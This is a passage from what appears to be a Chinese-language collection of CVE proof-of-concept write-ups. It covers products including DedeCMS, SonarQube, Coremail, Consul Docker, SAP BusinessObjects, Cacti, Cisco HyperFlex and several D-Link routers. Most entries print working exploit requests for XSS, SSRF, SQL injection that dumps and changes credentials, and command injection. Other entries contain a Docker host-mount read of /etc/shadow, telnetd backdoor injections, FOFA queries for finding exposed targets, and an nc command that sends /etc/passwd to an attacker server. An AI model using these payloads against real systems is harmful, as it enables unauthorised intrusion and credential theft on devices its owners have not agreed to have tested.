"rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4"; 19 | 20 | byte[] payload = Base64.getDecoder().decode(b64Payload); 21 | byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5}; 22 | 23 | byte[] enc = BlobCrypt.encryptArray(payload, key); 24 | System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc)); 25 | byte[] dec = BlobCrypt.decryptArray(enc, key); 26 | } 27 | } 28 | ``` 29 | 30 | ref： 31 | 32 | https://gist.github.com/Frycos/8bf5c125d720b3504b4f28a1126e509e#file-csm_pocs-md 33 | 34 | https://forum.ywhack.com/thread-114711-1-4.html -------------------------------------------------------------------------------- /CVE-2020-27533 DedeCMS v.5.8搜索功能 "keyword"参数XSS漏洞 PoC.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27533 DedeCMS v.5.8搜索功能 "keyword"参数XSS漏洞 PoC 2 | 3 | 描述： 4 | 5 | 在DedeCMS v.5.8的搜索功能中 "keyword"参数参数发现了跨站点脚本（XSS）问题，该问题使恶意用户可以将代码注入到网页中，并且其他用户在查看网页时也会受到影响。 6 | 7 | PoC : 8 | 9 | 10 | ``` 11 | POST /DedeCMSv5-master/src/dede/action_search.php HTTP/1.1 12 | Host: 127.0.0.1 13 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 14 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 15 | Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 16 | Accept-Encoding: gzip, deflate 17 | Content-Type: application/x-www-form-urlencoded 18 | Content-Length: 47 19 | Origin: http://127.0.0.1 20 | Connection: close 21 | Referer: http://127.0.0.1/DedeCMSv5-master/src/dede/ 22 | Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=dgj9gs48q9nbrckdq0ei5grjd7; _csrf_name_7ac3ea0e=8a824367d97bb8f984d4af7a1ad11308; _csrf_name_7ac3ea0e__ckMd5=c692dd4f707ea756; DedeUserID=1; DedeUserID__ckMd5=7e44b1ee92d784aa; DedeLoginTime=1603530632; DedeLoginTime__ckMd5=69967c5a8db15fb4; dede_csrf_token=80866e4429220e784f2514d38de9a5ea; dede_csrf_token__ckMd5=de396c60d5d75d93 23 | Upgrade-Insecure-Requests: 1 24 | 25 | keyword="> 26 | ``` 27 | 28 | https://www.exploit-db.com/exploits/48974 29 | 30 | https://forum.ywhack.com/thread-114662-1-5.html -------------------------------------------------------------------------------- /CVE-2020-27986 SonarQube api 未授权访问.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27986 SonarQube api 未授权访问 2 | 3 | 4 | SonarQube配置不当造成未授权访问，可以通过api/settings/values获取明文SMTP、SVN和Gitlab等敏感信息 5 | 6 | PoC： 7 | 8 | http://[server]/api/settings/values 9 | 10 | ![](media/16097308794889/16097308985770.jpg) 11 | 12 | 13 | ref： 14 | 15 | https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/ 16 | 17 | https://forum.ywhack.com/thread-114647-1-6.html -------------------------------------------------------------------------------- /CVE-2020-29133 Coremail 存储型XSS.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-29133 Coremail 存储型XSS 2 | 3 | PoC： 4 | 5 | ``` 6 | coremail/XT5/jsp/upload.jsp 上传 1.jpg.html 7 | ``` 8 | 9 | 获取对应的hashId获取到对应的地址 10 | 11 | ![](media/16097298915254/16097299115036.jpg) 12 | 13 | 14 | ![](media/16097298915254/16097299156243.jpg) 15 | 16 | 17 | ![](media/16097298915254/16097299193319.jpg) 18 | -------------------------------------------------------------------------------- /CVE-2020-29564 Consul Docker images 空密码登录漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-29564 Consul Docker images 空密码登录漏洞 2 | 3 | Consul Docker images 0.7.1至1.4.2版本部署的Consul Docker容器的系统，可能允许远程攻击者使用空白密码来实现root用户访问。 4 | 5 | **PoC:** 6 | 7 | ```bash 8 | docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine 9 | 10 | File Access: cat /mnt/etc/shadow 11 | RCE: chroot /mnt 12 | ``` 13 | 14 | FOFA: 15 | 16 | ``` 17 | port="2375" && protocol=="docker" 18 | ``` 19 | 20 | ![](media/16096802412075/16096802747315.jpg) 21 | 22 | 23 | ![](media/16096802412075/16096802834542.jpg) 24 | 25 | 26 | **ref：** 27 | 28 | * https://forum.ywhack.com/thread-114824-1-2.html 29 | * https://github.com/koharin/koharin2/blob/main/CVE-2020-29564 -------------------------------------------------------------------------------- /CVE-2020-36179〜82 Jackson-databind SSRF＆RCE.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-36179〜82 Jackson-databind SSRF＆RCE 2 | 3 | * CVE-2020-36179: 4 | * CVE-2020-36180 5 | * CVE-2020-36181 6 | * CVE-2020-36182 7 | 8 | RCE： 9 | 10 | PoC Github：https://github.com/Al1ex/CVE-2020-36179 11 | 12 | 本地复现成功： 13 | 14 | ![https://forum.ywhack.com/attachments/month_2101/210111125772a8c5f2e87d1718.png](https://forum.ywhack.com/attachments/month_2101/210111125772a8c5f2e87d1718.png) 15 | 16 | ref： 17 | 18 | https://forum.ywhack.com/thread-114949-1-1.html 19 | -------------------------------------------------------------------------------- /CVE-2020-6308 SAP POC.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-6308 SAP POC 2 | 3 | SAP BusinessObjects Business Intelligence平台（Web服务）版本-410、420、430允许未经身份验证的攻击者注入任意值作为CMS参数，以在内部网络上执行查找，否则将无法从外部访问该内部网络。成功利用后，攻击者可以扫描内部网络以确定内部基础结构，并收集信息以进行进一步的攻击，例如远程文件包含，检索服务器文件，绕过防火墙并迫使易受攻击的服务器执行恶意请求，从而导致服务器端请求伪造漏洞。 4 | 5 | 详情参考：https://github.com/InitRoot/CVE-2020-6308-PoC 6 | 7 | ![](media/16096793220703/16096793301320.jpg) 8 | 9 | 10 | **PoC：** 11 | 12 | ```bash 13 | POST /AdminTools/querybuilder/logon?framework= HTTP/1.1 14 | Host: 192.168.0.191:8080 15 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0 16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 17 | Accept-Language: en-US,en;q=0.5 18 | Accept-Encoding: gzip, deflate 19 | Content-Type: application/x-www-form-urlencoded 20 | Content-Length: 128 21 | Origin: http://192.168.0.191:8080 22 | Connection: close 23 | Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp 24 | Upgrade-Insecure-Requests: 1 25 | 26 | aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp 27 | ``` -------------------------------------------------------------------------------- /CVE-2020-8255 Pulse Connect Secure通过登录消息组件实现任意文件读取.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-8255 Pulse Connect Secure通过登录消息组件实现任意文件读取 2 | 3 | 概述： 4 | 5 | Pulse Connect Secure在登录前/后消息组件中存在任意文件读取漏洞。经过身份验证的管理用户可以利用此漏洞从底层操作系统读取任意文件。 6 | 7 | PoC： 8 | 9 | 10 | ```bash 11 | 首先创建en.txt和default.txt文件： 12 | ln -s /etc/passwd default.txt 13 | ln -s /etc/passwd en.txt 14 | 使用--symlinks选项压缩文件： 15 | zip --symlinks logon.zip default.txt en.txt 16 | adding: default.txt (stored 0%) 17 | adding: en.txt (stored 0%) 18 | ``` 19 | 20 | 通过/dana-admin/auth/signinNotif.cgi页面上传zip包，最后通过/dana-admin/auth/signinPolicy.cgi触发任意文件读取。 21 | 22 | ![](media/16097309753555/16097310084538.jpg) 23 | 24 | 25 | ref： 26 | 27 | https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-arbitrary-file-read-via-logon-message-cve-2020-8255/ 28 | 29 | https://forum.ywhack.com/thread-114616-1-6.html -------------------------------------------------------------------------------- /CVE-2020-8277：Node.js通过DNS请求实现拒绝服务.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-8277：Node.js通过DNS请求实现拒绝服务 2 | 3 | 近日，Node.js官方发布最新安全版本公告，披露在v12.x，v14.x和v15.x 相应的Node.js版本中存在一处高风险的拒绝服务漏洞(CVE-2020-8277)。受影响的Node.js应用允许攻击者对目标主机发送DNS请求，利用Node.js应用解析大量响应的DNS记录来对目标主机实现拒绝服务攻击。 4 | 5 | 影响版本： 6 | 7 | * Node.js 12.x: 12.16.3-12.19.1 8 | * Node.js 14.x: 14.13.0-14.15.1 9 | * Node.js 15.x全部版本 10 | 11 | Quick Run： 12 | 13 | 14 | ```bash 15 | # clone this repository 16 | $ git clone https://github.com/masahiro331/CVE-2020-8277 17 | 18 | # run bind 19 | $ docker build -t bind-local ./bind 20 | # Need TCP fallback 21 | $ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind 22 | 23 | # use "< v15.2.1" version 24 | # If you use fixed version, build node. 25 | $ git clone https://github.com/nodejs/node 26 | $ git checkout df211208c0 27 | $ ./configure 28 | $ make -j8 29 | $ make install 30 | 31 | # Run PoC 32 | $ node main.js 33 | ``` 34 | 35 | main.js： 36 | 37 | ```js 38 | // const SegfaultHandler = require('segfault-handler'); 39 | // SegfaultHandler.registerHandler('crash.log'); 40 | 41 | const { Resolver } = require('dns'); 42 | const resolver = new Resolver(); 43 | resolver.setServers(['127.0.0.1']); 44 | x = 0 45 | resolver.resolve4('safe.masahiro331.com', (err, addresses) => { 46 | while (x < 1000) { 47 | console.log(x); 48 | console.log(addresses[x]) 49 | x += 1; 50 | } 51 | console.log(err); 52 | }); 53 | 54 | ``` 55 | 56 | ref： 57 | 58 | https://github.com/masahiro331/CVE-2020-8277 59 | 60 | https://www.safedog.cn/news.html?id=4599 61 | 62 | https://forum.ywhack.com/thread-114728-1-4.html -------------------------------------------------------------------------------- /CVE-2020–24723 存储XSS的故事导致管理帐户接管.md: -------------------------------------------------------------------------------- 1 | # CVE-2020–24723 存储XSS的故事导致管理帐户接管 2 | 3 | CVE:https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-24723 4 | 5 | Exploit Title: User Registration & Login and User Management System 2.1— Stored Cross-Site Scripting 6 | 7 | 此漏洞可能导致攻击者在用户注册注入XSS Padylod，每次管理员从管理面板访问管理用户部分时，XSS触发器和攻击者可以根据精心制作的Payload窃取cookie。 8 | 9 | 漏洞参数：Last Name 10 | 11 | 复现步骤： 12 | 13 | * 1,访问注册页面 14 | * 2,填写详细信息，将XSS Padyload 放入名字，姓氏。 15 | * 3,访问管理面板。可以看到我们的有效载荷被执行。 16 | 17 | ![](media/16097301391208/16097301575122.jpg) 18 | 19 | 20 | ref： 21 | 22 | https://medium.com/bugbountywriteup/cve-2020-24723-89ea76588286 -------------------------------------------------------------------------------- /CVE-2020–4280 — IBM QRadar Java反序列化分析和绕过.md: -------------------------------------------------------------------------------- 1 | # CVE-2020–4280 — IBM QRadar Java反序列化分析和绕过 2 | 3 | 4 | 周，国外安全研究员发布了一个IBM Qradar SIEM Java Deser漏洞。 CVE编号：CVE-2020–4280 (详情) 5 | 6 | Qradar不仅有企业版，同时也具有社区版。 7 | 8 | 可以从这里下载：https://developer.ibm.com/qradar/ce/，目前只有Community Edition版本7.3.3，而Enterprise Edition当前正在使用7.4.1版本。登录后，将下载一个ova文件，以导入到VMWare/Virtual Box中。 9 | 10 | 安装过程可以参考：https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on- 11 | 12 | 作者使用的poc： 13 | 14 | 15 | ```xml 16 | 17 | ``` 18 | 19 | 在作者的原始PoC中，有一个比较麻烦的句柄： 20 | 使用Jython1小工具启用console.enableExecuteCommand- >属性，然后调用Qradar.executeCommand（）。 21 | 22 | 另一种方法可以更简洁地处理，即使用定制版本的ROME小工具执行并响应正文，PoC结果如下： 23 | 24 | ![](media/16097307389390/16097307593039.jpg) 25 | 26 | 27 | Bypass CVE-2020–4280： 28 | 29 | ![](media/16097307389390/16097307683129.jpg) 30 | 31 | 32 | ref： 33 | 34 | https://testbnull.medium.com/cve-2020-4280-ibm-qradar-java-deserialization-anlysis-and-bypass-c3fe57207057 35 | 36 | https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet 37 | 38 | https://forum.ywhack.com/thread-114654-1-5.html 39 | 40 | -------------------------------------------------------------------------------- /CVE-2021-3156 (Baron Samedit) Sudo 中基于堆的缓冲区溢出漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-3156 (Baron Samedit) Sudo 中基于堆的缓冲区溢出漏洞 2 | 3 | Qualys研究小组发现了sudo中的堆溢出漏洞，该漏洞在类似Unix的主要操作系统上都可以使用。通过利用此漏洞，任何没有特权的用户都可以使用默认的sudo配置在易受攻击的主机上获得root特权。 4 | 5 | **受影响版本：** 6 | 7 | * 从1.8.2到1.8.31p2的所有旧版 8 | * 从1.9.0到1.9.5p1的所有稳定版本 9 | 10 | 用户可以使用非root的账户登录系统，运行“ sudoedit -s / ”命令，若返回以“ sudoedit：”开头的错误，则当前系统可能存在安全风险。不受影响的系统将显示以“ usage：”开头的错误。 11 | 12 | **PoC：** 13 | 14 | https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz 15 | 16 | https://github.com/r4j0x00/exploits/tree/master/CVE-2021-3156 17 | 18 | https://github.com/lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156 19 | 20 | PoC验证视频：https://vimeo.com/504872555 21 | 22 | 详情：https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit 23 | 24 | -------------------------------------------------------------------------------- /Cacti SQL 注入漏洞（CVE-2020-14295）.md: -------------------------------------------------------------------------------- 1 | # Cacti SQL 注入漏洞（CVE-2020-14295） 2 | 3 | Cacti 1.2.12 中 color.php 中存在 SQL注入漏洞，允许具有管理员权限的攻击者通过 filter 参数注入 SQL。因为产品接受堆积的查询，所以这可能导致远程命令执行。目前该漏洞 EXP 已公开。 4 | 5 | 影响版本： 6 | 7 | Cacti < 1.2.13 8 | 9 | 详情可以参考：https://github.com/Cacti/cacti/issues/3622 10 | 11 | PoC： 12 | 13 | ``` 14 | /cacti/color.php?action=export&header=false&filter=')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+user_auth+set+username='sqli'+where+id=3;--+- 15 | 16 | ``` -------------------------------------------------------------------------------- /Chrome 插件 Vue.js devtools UXSS.md: -------------------------------------------------------------------------------- 1 | # Chrome 插件 Vue.js devtools UXSS 2 | 3 | 4 | 在中devtools-background.js，toast函数中存在代码注入。它可以由任何选项卡中的postMessage触发，从而在打开浏览器的开发人员工具（F12）时产生通用XSS。攻击者可以托管一个特制网页来利用此漏洞，然后诱使用户查看该网页并在其他Chrome标签中打开开发人员工具（F12）。 5 | 6 | 条件有点苛薄...需要安装特定版本插件，然后访问指定PoC网页 最后打开开发者工具(F12)进行触发.. 7 | 8 | 受影响版本： 9 | 10 | * Vue.js devtools 5.3.3 11 | * Vue.js devtools 6.0.0 beta3 12 | 13 | 详细分析见：https://github.com/vuejs/vue-devtools/issues/1353 14 | 15 | chrome插件：https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd 16 | 17 | **PoC1:** 18 | 19 | ```js 20 | 30 | ``` 31 | 32 | POC2: 33 | 34 | ```js 35 | 47 | ``` 48 | 49 | ![](images/16120234683238.jpg) 50 | 51 | 52 | ref： 53 | 54 | https://github.com/vuejs/vue-devtools/issues/1353 55 | 56 | https://forum.ywhack.com/thread-115069-1-1.html -------------------------------------------------------------------------------- /Cisco HyperFlex HX 任意文件上传（CVE-2021-1499）.md: -------------------------------------------------------------------------------- 1 | # Cisco HyperFlex HX 任意文件上传（CVE-2021-1499） 2 | 3 | Cisco HyperFlex HX数据平台基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者将文件上传到受影响的设备。 4 | 5 | 6 | ``` 7 | wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null 8 | * Trying 192.168.123.133... 9 | * TCP_NODELAY set 10 | * Connected to 192.168.123.133 (192.168.123.133) port 80 (#0) 11 | > POST /upload HTTP/1.1 12 | > Host: 192.168.123.133 13 | > User-Agent: curl/7.64.1 14 | > Accept: */* 15 | > Transfer-Encoding: chunked 16 | > Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78 17 | > Expect: 100-continue 18 | > 19 | < HTTP/1.1 100 Continue 20 | * Signaling end of chunked upload via terminating chunk. 21 | < HTTP/1.1 200 OK 22 | < Server: nginx/1.8.1 23 | < Date: Tue, 18 May 2021 01:10:59 GMT 24 | < Content-Type: application/json;charset=ISO-8859-1 25 | < Content-Length: 56 26 | < Connection: keep-alive 27 | < Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self' 28 | < X-Content-Type-Options: nosniff 29 | < X-XSS-Protection: 1; mode=block 30 | < 31 | {"result": "filename: /var/www/localhost/images//null"} 32 | * Connection #0 to host 192.168.123.133 left intact 33 | * Closing connection 0 34 | wvu@kharak:~$ 35 | ``` 36 | 37 | ref: 38 | 39 | * https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz 40 | * https://attackerkb.com/topics/Z2MeUsvSlT/cve-2021-1499 41 | * https://nvd.nist.gov/vuln/detail/CVE-2021-1499 -------------------------------------------------------------------------------- /Cisco HyperFlex HX 命令注入（CVE-2021-1497-CVE-2021-1498）.md: -------------------------------------------------------------------------------- 1 | # Cisco HyperFlex HX 命令注入（CVE-2021-1497/CVE-2021-1498） 2 | 3 | 4 | Cisco HyperFlex HX的基于Web的管理界面中的多个漏洞可能允许未经身份验证的远程攻击者对受影响的设备执行命令注入攻击。 5 | 6 | 7 | ``` 8 | wvu@kharak:~$ curl -v http://192.168.123.133/storfs-asup -d 'action=&token=`id`&mode=`id`' 9 | * Trying 192.168.123.133... 10 | * TCP_NODELAY set 11 | * Connected to 192.168.123.133 (192.168.123.133) port 80 (#0) 12 | > POST /storfs-asup HTTP/1.1 13 | > Host: 192.168.123.133 14 | > User-Agent: curl/7.64.1 15 | > Accept: */* 16 | > Content-Length: 28 17 | > Content-Type: application/x-www-form-urlencoded 18 | > 19 | * upload completely sent off: 28 out of 28 bytes 20 | < HTTP/1.1 200 OK 21 | < Server: nginx/1.8.1 22 | < Date: Tue, 18 May 2021 00:54:26 GMT 23 | < Content-Length: 0 24 | < Connection: keep-alive 25 | < Front-End-Https: on 26 | < 27 | * Connection #0 to host 192.168.123.133 left intact 28 | * Closing connection 0 29 | wvu@kharak:~$ 30 | 31 | ``` 32 | 33 | ref： 34 | 35 | * https://attackerkb.com/topics/mDqlWhQovO/cve-2021-1497?referrer=home 36 | * https://nvd.nist.gov/vuln/detail/CVE-2021-1497 37 | * https://nvd.nist.gov/vuln/detail/CVE-2021-1498 -------------------------------------------------------------------------------- /Coremail论客邮件系统路径遍历与文件上传漏洞.md: -------------------------------------------------------------------------------- 1 | # Coremail论客邮件系统路径遍历与文件上传漏洞 2 | 3 | 监测到Coremail论客邮件系统存在路径遍历与文件上传漏洞，攻击者可利用/lunkr/cache/;/;/../../manager/html 设置参数X-Forwarded-For: 127.0.0.1.Coremail 的 nginx 配置文件中，未针对/lunkr/cache 路径向上解析的时候做 X-Forwarded-For 字段的限制，从而可以利用该接口实现配合利用 nginx 不解析，但 tomcat 解析的差异特性，实现绕过 tomcat manager 的本地 ip 限制。 4 | 5 | 情报见：https://forum.ywhack.com/viewthread.php?tid=115403 6 | 7 | 通过/lunkr/cache/;/;/../../manager/html进入Tomcat控制台，部署war包进行getshell。 8 | 9 | ![-w716](media/16215868078702/16215868539351.jpg) 10 | 11 | https://forum.ywhack.com/thread-115484-1-5.html -------------------------------------------------------------------------------- /D-LINK DIR-802 命令注入漏洞（CVE-2021-29379）.md: -------------------------------------------------------------------------------- 1 | # D-LINK DIR-802 命令注入漏洞（CVE-2021-29379） 2 | 3 | 4 | DIR-802中存在一个命令注入漏洞，攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。 5 | 6 | 受影响设备及软件版本 7 | 8 | DIR-802 hardware revision Ax before v1.00b05 9 | 10 | PoC： 11 | 12 | ```py 13 | # coding: utf-8 14 | import socket 15 | import struct 16 | buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service 17 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 18 | s.connect(("192.168.0.1", 1900)) 19 | s.send(buf) 20 | s.close() 21 | ``` 22 | 23 | ref： 24 | 25 | * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379 26 | * https://cool-y.github.io/2021/03/02/DIR-802-OS-Command-Injection/ -------------------------------------------------------------------------------- /D-LINK DIR-841 命令注入（CVE-2021-28143）.md: -------------------------------------------------------------------------------- 1 | # D-LINK DIR-841 命令注入（CVE-2021-28143） 2 | 3 | 4 | D-Link DIR-841 3.03和3.04 存在经过身份验证的命令注入，通过“系统工具”（ping/ping6/traceroute）命令注入，可导致攻击者进行完全控制设备。 5 | 6 | PoC： 7 | 8 | 9 | ``` 10 | POST /jsonrpc HTTP/1.1 11 | Host: IP 12 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 13 | Accept: application/json, text/plain, */* 14 | Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 15 | Accept-Encoding: gzip, deflate 16 | Content-Type: application/json;charset=utf-8 17 | Authorization: Digest username="admin", realm="domain", nonce="4784226", uri="/jsonrpc", response="84799b55020cf2c53e28214e3d60b899", qop=auth, nc=00000035, cnonce="bPzBB3mcvSb51Ijx" 18 | Content-Length: 156 19 | Origin: IP 20 | Connection: close 21 | Referer: http://ip-address:9821/admin/index.html 22 | Cookie: user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id= 23 | 24 | {"jsonrpc":"2.0","method":"write","params":{"id":166,"data":{"host":"'127.0.0.1 & sleep 5'","count":1,"is_ipv6":false,"max_ttl":30,"nqueries":2,"waittime":3},"save":true},"id":757} 25 | ``` 26 | 27 | Exfiltrating files 28 | 29 | 30 | ``` 31 | POST /jsonrpc HTTP/1.1 32 | Host: IP 33 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 34 | Accept: application/json, text/plain, */* 35 | Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 36 | Accept-Encoding: gzip, deflate 37 | Content-Type: application/json;charset=utf-8 38 | Authorization: Digest username="admin", realm="domain", nonce="4784226", uri="/jsonrpc", response="84799b55020cf2c53e28214e3d60b899", qop=auth, nc=00000035, cnonce="bPzBB3mcvSb51Ijx" 39 | Content-Length: 156 40 | Origin: IP 41 | Connection: close 42 | Referer: http://ip-address:9821/admin/index.html 43 | Cookie: user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id= 44 | 45 | {"jsonrpc":"2.0","method":"write","params":{"id":166,"data":{"host":"'127.0.0.1 & nc SERVER-IP 1234 < /etc/passwd'","count":1,"is_ipv6":false,"max_ttl":30,"nqueries":2,"waittime":3},"save":true},"id":757} 46 | ``` 47 | 48 | ref： 49 | 50 | * https://nvd.nist.gov/vuln/detail/CVE-2021-28143 51 | * https://github.com/vitorespf/Advisories/blob/master/DLINK-DIR-841-command-injection.txt -------------------------------------------------------------------------------- /D-LInk DNS320 FW v2.06B01 命令注入（CVE-2020-25506）.md: -------------------------------------------------------------------------------- 1 | # D-LInk DNS320 FW v2.06B01 命令注入（CVE-2020-25506） 2 | 3 | 固件版本为v2.06B01（ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DNS-320/REVA/DNS-320_REVA_FIRMWARE_v2.06B01.zip） 4 | 5 | 'cgi_ntp_time'函数中存在命令注入。'v6'的值与“（sntp-r％s> / dev / null”）拼接，然后传递到系统中执行 6 | 7 | PoC： 8 | 9 | ``` 10 | /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`id` 11 | ``` 12 | 13 | ref： 14 | 15 | * https://nvd.nist.gov/vuln/detail/CVE-2020-25506 16 | * https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675 -------------------------------------------------------------------------------- /D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078.md: -------------------------------------------------------------------------------- 1 | # D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078 2 | 3 | D-Link DCS系列监控 通过访问特定的URL得到账号密码信息，攻击者通过漏洞进入后台可以获取视频监控页面。 4 | 5 | FOFA： 6 | 7 | app="D_Link-DCS-2530L" 8 | 9 | 影响版本： 10 | 11 | * DCS-2530L 12 | * DCS-2670L 13 | * DCS-4603 14 | * DCS-4622 15 | * 等多个DCS系列系统 16 | 17 | PoC： 18 | 19 | ``` 20 | http://xxx.xxx.xxx.xxx/config/getuser?index=0 21 | ``` 22 | 23 | ref: 24 | 25 | https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg -------------------------------------------------------------------------------- /D-Link DIR-846路由器 命令注入 (CVE-2020-27600).md: -------------------------------------------------------------------------------- 1 | # D-Link DIR-846路由器 命令注入 (CVE-2020-27600) 2 | 3 | D-Link DIR-846 A1_100.26 路由器中的HNAP1/control/SetMasterWLanSettings.php允许远程攻击者通过ssid0或ssid1参数进行执行任意命令。 4 | 5 | PoC: 6 | 7 | 需要登录Web控制台，然后访问/Wireless.html无线设置页面。 8 | 9 | 10 | ```bash 11 | POST /HNAPI HTTP/1.1 12 | ... 13 | $data["ssid0"]="'x;telnetd;'" 14 | ``` 15 | 16 | ref: 17 | 18 | * https://nvd.nist.gov/vuln/detail/CVE-2020-27600 19 | * https://github.com/pwnninja/dlink/blob/main/DIR-846_SetMasterWLanSettingsCI.md 20 | -------------------------------------------------------------------------------- /D-Link DSR-250 DSR-1000N 命令注入（CVE-2020-18568）.md: -------------------------------------------------------------------------------- 1 | # D-Link DSR-250 DSR-1000N 命令注入（CVE-2020-18568） 2 | 3 | 影响版本：DSR-250（3.14）DSR-1000N（2.11B201） 4 | 5 | 固件包中有一个upnpd程序，该程序在0.0.0.0上侦听端口1900（udp）和49152（tcp）。通过逆向分析，当程序设置iptable时，未检查参数，这可能导致命令注入。 6 | 7 | **PoC：** 8 | 9 | 10 | ```xml 11 | POST /upnp/control/WANIPConn1 HTTP/1.1 12 | HOST: $control_host:$control_port 13 | Content-Length: $content_length 14 | Content-Type: text/xml; charset="utf-8" 15 | SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping 16 | 17 | 18 | 19 | 20 | 7331 21 | tcp 22 | 1337 23 | 24 | 1 25 | hackedByC0ss4ck 26 | 0.0.0.0 27 | ;telnetd -p 24; 28 | 29 | 30 | 31 | ``` 32 | 33 | ref： 34 | 35 | * https://nvd.nist.gov/vuln/detail/CVE-2020-18568 36 | * https://gist.github.com/WinMin/5b2bc43b517503472bb28a298981ed5a -------------------------------------------------------------------------------- /D-link DSL-2888A 未授权访问漏洞 (CVE-2020-24579).md: -------------------------------------------------------------------------------- 1 | # D-link DSL-2888A 未授权访问漏洞 (CVE-2020-24579) 2 | 3 | D-Link DSL-2888A devices 存在授权问题漏洞，该漏洞源于网络系统或产品中缺少身份验证措施或身份验证强度不足。 4 | 5 | FOFA: 6 | 7 | ``` 8 | "DSL-2888A" 9 | ``` 10 | 11 | **PoC：** 12 | 13 | ```bash 14 | 1.访问路由器Web管理地址：http://192.168.1.1/ 15 | 2.输入任何字符串作为密码进行登录 16 | 3.提示密码无效，但是创建了有效的访问会话 17 | 4.访问任何经过身份验证的页面，比如：/WiFi.shtml 18 | http://192.168.1.1/WiFi.shtml 19 | ``` 20 | 21 | ![-w944](images/16115656107779.jpg) 22 | 23 | 24 | ref： 25 | 26 | * http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202012-1471 27 | * https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=28241 28 | * https://forum.ywhack.com/thread-115029-1-1.html -------------------------------------------------------------------------------- /D-link DSL-2888A 远程代码执行漏洞 (CVE-2020-24581).md: -------------------------------------------------------------------------------- 1 | # D-link DSL-2888A 远程代码执行漏洞 (CVE-2020-24581) 2 | 3 | D-link DSL-2888A是中国D-link公司的一款统一服务路由器。D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞，该漏洞源于包含一个execute 